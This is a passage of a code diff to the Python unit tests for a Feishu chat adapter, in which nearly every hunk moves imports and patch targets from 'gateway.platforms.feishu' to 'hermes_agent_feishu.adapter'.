FeishuAdapter settings = FeishuAdapter._load_settings( { @@ -491,7 +491,7 @@ class TestAdapterModule(unittest.TestCase): self.assertEqual(settings.ws_ping_timeout, 8) def test_load_settings_ignores_invalid_ws_ping_values(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter settings = FeishuAdapter._load_settings( { @@ -546,7 +546,7 @@ class TestAdapterModule(unittest.TestCase): sys.modules["lark_oapi.ws"] = fake_ws_module sys.modules["lark_oapi.ws.client"] = fake_client_module try: - from gateway.platforms.feishu import _run_official_feishu_ws_client + from hermes_agent_feishu.adapter import _run_official_feishu_ws_client _run_official_feishu_ws_client(fake_client, fake_adapter) finally: @@ -573,7 +573,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_event_handler_registers_reaction_and_card_processors(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) calls = [] @@ -629,7 +629,7 @@ class TestAdapterBehavior(unittest.TestCase): calls.append("builder") return _Builder() - with patch("gateway.platforms.feishu.EventDispatcherHandler", _Dispatcher): + with patch("hermes_agent_feishu.adapter.EventDispatcherHandler", _Dispatcher): handler = adapter._build_event_handler() self.assertEqual(handler, "handler") @@ -654,7 +654,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_bot_origin_reactions_are_dropped_to_avoid_feedback_loops(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = object() @@ -667,7 +667,7 @@ class TestAdapterBehavior(unittest.TestCase): ) data = SimpleNamespace(event=event) with patch( - "gateway.platforms.feishu.asyncio.run_coroutine_threadsafe" + "hermes_agent_feishu.adapter.asyncio.run_coroutine_threadsafe" ) as run_threadsafe: adapter._on_reaction_event("im.message.reaction.created_v1", data) run_threadsafe.assert_not_called() @@ -678,7 +678,7 @@ class TestAdapterBehavior(unittest.TestCase): # not additionally swallow user-origin reactions just because their # emoji happens to collide with a lifecycle emoji. from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = SimpleNamespace(is_closed=lambda: False) @@ -695,7 +695,7 @@ class TestAdapterBehavior(unittest.TestCase): return SimpleNamespace(add_done_callback=lambda _: None) with patch( - "gateway.platforms.feishu.asyncio.run_coroutine_threadsafe", + "hermes_agent_feishu.adapter.asyncio.run_coroutine_threadsafe", side_effect=_close_coro_and_return_future, ) as run_threadsafe: adapter._on_reaction_event("im.message.reaction.created_v1", data) @@ -704,7 +704,7 @@ class TestAdapterBehavior(unittest.TestCase): def _build_reaction_adapter(self, *, msg_sender_id: str): """Build a FeishuAdapter wired up to return a single GET-message result.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._app_id = "cli_self_app" @@ -765,7 +765,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {"FEISHU_GROUP_POLICY": "open"}, clear=True) def test_group_message_requires_mentions_even_when_policy_open(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace(mentions=[]) @@ -778,7 +778,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {"FEISHU_GROUP_POLICY": "open"}, clear=True) def test_group_message_with_other_user_mention_is_rejected_when_bot_identity_unknown(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) sender_id = SimpleNamespace(open_id="ou_any", user_id=None) @@ -802,7 +802,7 @@ class TestAdapterBehavior(unittest.TestCase): ) def test_group_message_allowlist_and_mention_both_required(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) # Mention without IDs — name fallback legitimately engages. @@ -832,7 +832,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_per_group_allowlist_policy_gates_by_sender(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -868,7 +868,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_per_group_blacklist_policy_blocks_specific_users(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -904,7 +904,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_per_group_admin_only_policy_requires_admin(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -940,7 +940,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_per_group_disabled_policy_blocks_all(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -976,7 +976,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_global_admins_bypass_all_group_rules(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -1006,7 +1006,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_default_group_policy_fallback_for_chats_without_explicit_rule(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter config = PlatformConfig( extra={ @@ -1031,7 +1031,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {"FEISHU_GROUP_POLICY": "open"}, clear=True) def test_group_message_matches_bot_open_id_when_configured(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._bot_open_id = "ou_bot" @@ -1059,7 +1059,7 @@ class TestAdapterBehavior(unittest.TestCase): the mention and the bot carry open_ids, IDs are authoritative — a same-name human with a different open_id must NOT admit.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter # Case 1: bot has only a name (open_id not hydrated / not configured). # Name fallback is the only available signal for any mention. @@ -1113,7 +1113,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_post_message_as_text(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1132,7 +1132,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_post_message_uses_first_available_language_block(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1151,7 +1151,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_post_message_with_rich_elements_does_not_drop_content(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1177,7 +1177,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_post_message_downloads_embedded_resources(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_image = AsyncMock(return_value=("/tmp/feishu-image.png", "image/png")) @@ -1213,7 +1213,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_merge_forward_message_as_text_summary(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1243,7 +1243,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_share_chat_message_as_text_summary(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1262,7 +1262,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_interactive_message_as_text_summary(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -1296,7 +1296,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_image_message_downloads_and_caches(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_image = AsyncMock(return_value=("/tmp/feishu-image.png", "image/png")) @@ -1320,7 +1320,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_audio_message_downloads_and_caches(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_message_resource = AsyncMock( @@ -1342,7 +1342,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_file_message_downloads_and_caches(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_message_resource = AsyncMock( @@ -1364,7 +1364,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_media_message_with_image_mime_becomes_photo(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_message_resource = AsyncMock( @@ -1386,7 +1386,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_media_message_with_video_mime_becomes_video(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._download_feishu_message_resource = AsyncMock( @@ -1408,7 +1408,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_text_from_raw_content_uses_relation_message_fallbacks(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -1427,7 +1427,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_text_message_starting_with_slash_becomes_command(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._dispatch_inbound_event = AsyncMock() @@ -1465,7 +1465,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_extract_text_file_injects_content(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) with tempfile.NamedTemporaryFile("w", suffix=".txt", delete=False) as tmp: @@ -1483,7 +1483,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_message_event_submits_to_adapter_loop(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -1510,7 +1510,7 @@ class TestAdapterBehavior(unittest.TestCase): coro.close() return future - with patch("gateway.platforms.feishu.asyncio.run_coroutine_threadsafe", side_effect=_submit) as submit: + with patch("hermes_agent_feishu.adapter.asyncio.run_coroutine_threadsafe", side_effect=_submit) as submit: adapter._on_message_event(data) self.assertTrue(submit.called) @@ -1518,7 +1518,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_webhook_request_uses_same_message_dispatch_path(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._on_message_event = Mock() @@ -1548,7 +1548,7 @@ class TestAdapterBehavior(unittest.TestCase): sending an attacker-controlled challenge string. """ from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) body = json.dumps({ @@ -1571,7 +1571,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_process_inbound_message_uses_event_sender_identity_only(self): from gateway.config import PlatformConfig from gateway.platforms.base import MessageType - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._dispatch_inbound_event = AsyncMock() @@ -1617,7 +1617,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_text_batch_merges_rapid_messages_into_single_event(self): from gateway.config import PlatformConfig from gateway.platforms.base import MessageEvent, MessageType - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter from gateway.session import SessionSource adapter = FeishuAdapter(PlatformConfig()) @@ -1635,7 +1635,7 @@ class TestAdapterBehavior(unittest.TestCase): return None async def _run() -> None: - with patch("gateway.platforms.feishu.asyncio.sleep", side_effect=_sleep): + with patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=_sleep): await adapter._dispatch_inbound_event( MessageEvent(text="A", message_type=MessageType.TEXT, source=source, message_id="om_1") ) @@ -1663,7 +1663,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_text_batch_flushes_when_message_count_limit_is_hit(self): from gateway.config import PlatformConfig from gateway.platforms.base import MessageEvent, MessageType - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter from gateway.session import SessionSource adapter = FeishuAdapter(PlatformConfig()) @@ -1681,7 +1681,7 @@ class TestAdapterBehavior(unittest.TestCase): return None async def _run() -> None: - with patch("gateway.platforms.feishu.asyncio.sleep", side_effect=_sleep): + with patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=_sleep): await adapter._dispatch_inbound_event( MessageEvent(text="A", message_type=MessageType.TEXT, source=source, message_id="om_1") ) @@ -1707,7 +1707,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_media_batch_merges_rapid_photo_messages(self): from gateway.config import PlatformConfig from gateway.platforms.base import MessageEvent, MessageType - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter from gateway.session import SessionSource adapter = FeishuAdapter(PlatformConfig()) @@ -1725,7 +1725,7 @@ class TestAdapterBehavior(unittest.TestCase): return None async def _run() -> None: - with patch("gateway.platforms.feishu.asyncio.sleep", side_effect=_sleep): + with patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=_sleep): await adapter._dispatch_inbound_event( MessageEvent( text="第一张", @@ -1761,13 +1761,13 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_image_downloads_then_uses_native_image_send(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter.send_image_file = AsyncMock(return_value=SimpleNamespace(success=True, message_id="om_img")) async def _run(): - with patch("gateway.platforms.feishu.cache_image_from_url", new=AsyncMock(return_value="/tmp/cached.png")): + with patch("hermes_agent_feishu.adapter.cache_image_from_url", new=AsyncMock(return_value="/tmp/cached.png")): return await adapter.send_image("oc_chat", "https://example.com/cat.png", caption="cat") result = asyncio.run(_run()) @@ -1779,7 +1779,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_animation_degrades_to_document_send(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter.send_document = AsyncMock(return_value=SimpleNamespace(success=True, message_id="om_gif")) @@ -1807,7 +1807,7 @@ class TestAdapterBehavior(unittest.TestCase): eagerly buffers it; a future refactor to .stream() would silently read-after-close.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter events: list[str] = [] @@ -1845,7 +1845,7 @@ class TestAdapterBehavior(unittest.TestCase): with patch("tools.url_safety.is_safe_url", return_value=True): with patch("httpx.AsyncClient", _FakeAsyncClient): with patch( - "gateway.platforms.feishu.cache_document_from_bytes", + "hermes_agent_feishu.adapter.cache_document_from_bytes", return_value="/tmp/cached-doc.bin", ): return await adapter._download_remote_document( @@ -1865,7 +1865,7 @@ class TestAdapterBehavior(unittest.TestCase): def test_dedup_state_persists_across_adapter_restart(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter with tempfile.TemporaryDirectory() as temp_home: with patch.dict(os.environ, {"HERMES_HOME": temp_home}, clear=False): @@ -1877,7 +1877,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_process_inbound_group_message_keeps_group_type_when_chat_lookup_falls_back(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._dispatch_inbound_event = AsyncMock() @@ -1914,7 +1914,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_process_inbound_message_fetches_reply_to_text(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._dispatch_inbound_event = AsyncMock() @@ -1953,7 +1953,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_replies_in_thread_when_thread_metadata_present(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -1977,7 +1977,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -1994,7 +1994,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_uses_metadata_reply_target_for_threaded_feishu_topic(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2014,7 +2014,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2033,7 +2033,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_retries_transient_failure(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {"attempts": 0} @@ -2065,8 +2065,8 @@ class TestAdapterBehavior(unittest.TestCase): sleeps.append(delay) with ( - patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct), - patch("gateway.platforms.feishu.asyncio.sleep", side_effect=_sleep), + patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct), + patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=_sleep), ): result = asyncio.run(adapter.send(chat_id="oc_chat", content="hello retry")) @@ -2078,7 +2078,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_does_not_retry_deterministic_api_failure(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {"attempts": 0} @@ -2108,8 +2108,8 @@ class TestAdapterBehavior(unittest.TestCase): sleeps.append(delay) with ( - patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct), - patch("gateway.platforms.feishu.asyncio.sleep", side_effect=_sleep), + patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct), + patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=_sleep), ): result = asyncio.run(adapter.send(chat_id="oc_chat", content="bad payload")) @@ -2121,7 +2121,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_document_reply_uses_thread_flag(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2158,7 +2158,7 @@ class TestAdapterBehavior(unittest.TestCase): file_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send_document( chat_id="oc_chat", @@ -2176,7 +2176,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_document_uploads_file_and_sends_file_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2214,7 +2214,7 @@ class TestAdapterBehavior(unittest.TestCase): file_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter.send_document(chat_id="oc_chat", file_path=file_path)) finally: os.unlink(file_path) @@ -2230,7 +2230,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_document_with_caption_uses_single_post_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2267,7 +2267,7 @@ class TestAdapterBehavior(unittest.TestCase): file_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send_document(chat_id="oc_chat", file_path=file_path, caption="报告请看") ) @@ -2283,7 +2283,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_image_file_uploads_image_and_sends_image_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2321,7 +2321,7 @@ class TestAdapterBehavior(unittest.TestCase): image_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter.send_image_file(chat_id="oc_chat", image_path=image_path)) finally: os.unlink(image_path) @@ -2337,7 +2337,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_image_file_with_caption_uses_single_post_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2374,7 +2374,7 @@ class TestAdapterBehavior(unittest.TestCase): image_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send_image_file(chat_id="oc_chat", image_path=image_path, caption="截图说明") ) @@ -2390,7 +2390,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_video_uploads_file_and_sends_media_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2428,7 +2428,7 @@ class TestAdapterBehavior(unittest.TestCase): video_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter.send_video(chat_id="oc_chat", video_path=video_path)) finally: os.unlink(video_path) @@ -2441,7 +2441,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_voice_uploads_opus_and_sends_audio_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2479,7 +2479,7 @@ class TestAdapterBehavior(unittest.TestCase): audio_path = tmp.name try: - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter.send_voice(chat_id="oc_chat", audio_path=audio_path)) finally: os.unlink(audio_path) @@ -2492,7 +2492,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_extracts_title_and_links(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads(adapter._build_post_payload("# 标题\n访问 [文档](https://example.com)")) @@ -2503,7 +2503,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_wraps_markdown_in_md_tag(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads( @@ -2521,7 +2521,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_keeps_full_markdown_text(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads( @@ -2539,7 +2539,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_uses_post_for_inline_markdown(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2563,7 +2563,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2580,7 +2580,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_splits_fenced_code_blocks_into_separate_post_rows(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2614,7 +2614,7 @@ class TestAdapterBehavior(unittest.TestCase): "后续说明仍应保留。" ) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2643,7 +2643,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_keeps_fence_like_code_lines_inside_code_block(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads( @@ -2664,7 +2664,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_preserves_trailing_spaces_in_code_block(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import 